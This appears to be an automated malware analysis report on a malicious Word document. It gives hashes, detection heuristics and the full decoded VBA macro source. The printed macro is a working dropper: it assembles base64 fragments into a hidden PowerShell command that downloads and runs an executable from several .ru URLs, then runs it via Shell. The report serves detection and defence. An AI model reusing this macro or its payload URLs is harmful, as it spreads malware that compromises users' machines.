Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 31f5e19550066fea…

MALICIOUS

Office (OLE)

175.5 KB Created: 2017-07-24 23:58:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: 9834fb8195176898b0eafdcc01fef1d3 SHA-1: 97193f8064df542512f6996cf707ef7216169cec SHA-256: 31f5e19550066fea98dd76c80456d85d741298ffa4d4a54420817cecdb0d8fad
152 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro that attempts to execute a payload. The script constructs a PowerShell command to download and execute a file from a list of URLs, including 'http://hotel-pushukino.ru/assets/images/StubV2New.exe'. The script also attempts to establish persistence by writing to the registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy'.

Heuristics 6

  • ClamAV: Doc.Trojan.Agent-6333895-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Agent-6333895-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Q64iQtFOf, MU6hzI
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
jGYE8Rq9i = "RfLkV4Y2VwdGlvbi5NZXNz"
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2714 bytes
SHA-256: db6e96e6829fd633a163a7e8fecdba889ef261aa724afeba63b72ec99e6d1008
Detection
ClamAV: No threats found
Obfuscation or payload: likely
49 of 94 identifiers look randomly generated (e.g. 'TY3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9IG5ldy1') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
jGYE8Rq9i = "RfLkV4Y2VwdGlvbi5NZXNz"
Pn2zJ5pCo = "YWdlO31"
JgpmiWCjw = "9"
P5LsN = jGYE8Rq9i & Pn2zJ5pCo & JgpmiWCjw
opjF3bo = "mMucnUvYXNzZXRzL2ltYWdlcy9TdHViVjJOZXcuZXhlLGh0dHA6Ly"
L5SNfsuKw = "9pZnRicm9rZXIucnUvYXNzZXRzL2ltYWdlcy9TdHViVjJOZ"
M81vnSYdA = "XcuZXhlLGh0dHA6Ly9p"
xCxW9b = opjF3bo & L5SNfsuKw & M81vnSYdA
vGBopg5t = "cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c"
X7eTI4g = "2NyaXB0ID0gbmV3LW9iamVjdCAtQ29tT2JqZWN0IFd"
yvyWB = vGBopg5t & X7eTI4g
mwvZ2Y7Sc = "skd2ViY2xpZW50LkRvd25sb2FkRmlsZSgkdXJsLlRv"
a5yzhMY86 = "U3RyaW5nK"
sDTqJ60na = "CksICRwYXRoKTtTdGFydC1Qcm9jZXNzICRwYXRoO2JyZWFrO31jY"
FN3WUZ = "XRjaHt3cml0ZS1ob3N0IC"
AGxAn = mwvZ2Y7Sc & a5yzhMY86 & sDTqJ60na & FN3WUZ
UG1V3B4ba = "TY3JpcHQuU2hlbGw7JHdlYmNsaWVudCA9IG5ldy1vYmplY3QgU3lzdGVtLk5ldC5"
RaXAGM2 = "XZWJDbGllbnQ7JHJhbmRvbSA9IG5ldy1vYmplY3QgcmFuZG"
jUgvW5 = "9tOyR1cmxz"
bDgZJ = UG1V3B4ba & RaXAGM2 & jUgvW5
InfUa = "ID0gJ2h0dHA6Ly9ob3RlbC1wdXNoa2luby5ydS9hc3Nld"
gJbKui6Xa = "HM"
GCYftc = "vaW1hZ2VzL1N0dWJWMk5ldy5leGUsaHR0cDovL2ktY"
sWrx7DaK = InfUa & gJbKui6Xa & GCYftc
VnpBR5FY = "zNik7JHBhdGggPSAkZW52OnRlbXA"
sLYqTZVDP = "gKyAnXCcgKyAkbmFtZSArICcuZXhl"
ciF6HZgrl = "Jztmb3JlYWNoKCR1cmwgaW4gJHVybHMpe3RyeX"
nPrBSF = VnpBR5FY & sLYqTZVDP & ciF6HZgrl
Aq4wIGL5 = "1YlYyTmV3LmV4ZSc"
K2JOQlP4f = "uU3BsaXQoJywnKTskbmFtZSA"
rsVSLF3T = "9ICRyYW5kb20ubmV4dCgxLCA2NTU"
DfxlBop0W = Aq4wIGL5 & K2JOQlP4f & rsVSLF3T
MCgqDbe = "bXBsYWRlbnQucnUvYXNzZXRzL2l"
erg5ehGHI = "tYWdlcy9TdHViVjJOZXcuZXhlLGh0"
jEn83o1 = "dHA6Ly9pbXB1bHNhdmlhLnJ1L2Fzc2V0cy9pbWFnZXMvU3R"
CRFVrhd = MCgqDbe & erg5ehGHI & jEn83o1
V7JnXW = yvyWB & bDgZJ & sWrx7DaK & xCxW9b & CRFVrhd & DfxlBop0W & nPrBSF & AGxAn & P5LsN
Call runm(V7JnXW)
End Sub

Attribute VB_Name = "o79Jl"
Sub runm(FgrBzW5hp)


KowDvZqH = dnfpbKR(FgrBzW5hp)

yeE0j9u. _
titdg KowDvZqH, 0

End Sub

Attribute VB_Name = "UKmsWT"
Function dnfpbKR(gsy3wCR) As String

Set jnbEH2l5B = New MSXML2.DOMDocument
Set IwdnHaN = jnbEH2l5B.createElement(E93W28PJ)

With IwdnHaN
.dataType = "bin.base64"
.text = gsy3wCR
dnfpbKR = IwdnHaN.nodeTypedValue
hxsMZ8 = 21808 / 376
End With

Set IwdnHaN = Nothing
Set jnbEH2l5B = Nothing
End Function

Attribute VB_Name = "yeE0j9u"
Public Const E93W28PJ = "BASE64"
Public Sub titdg(ojCHIa, MU6hzI)
Dim Q64iQtFOf As String
Q64iQtFOf = StrConv(ojCHIa, 64)

Shell Q64iQtFOf, MU6hzI

End Sub

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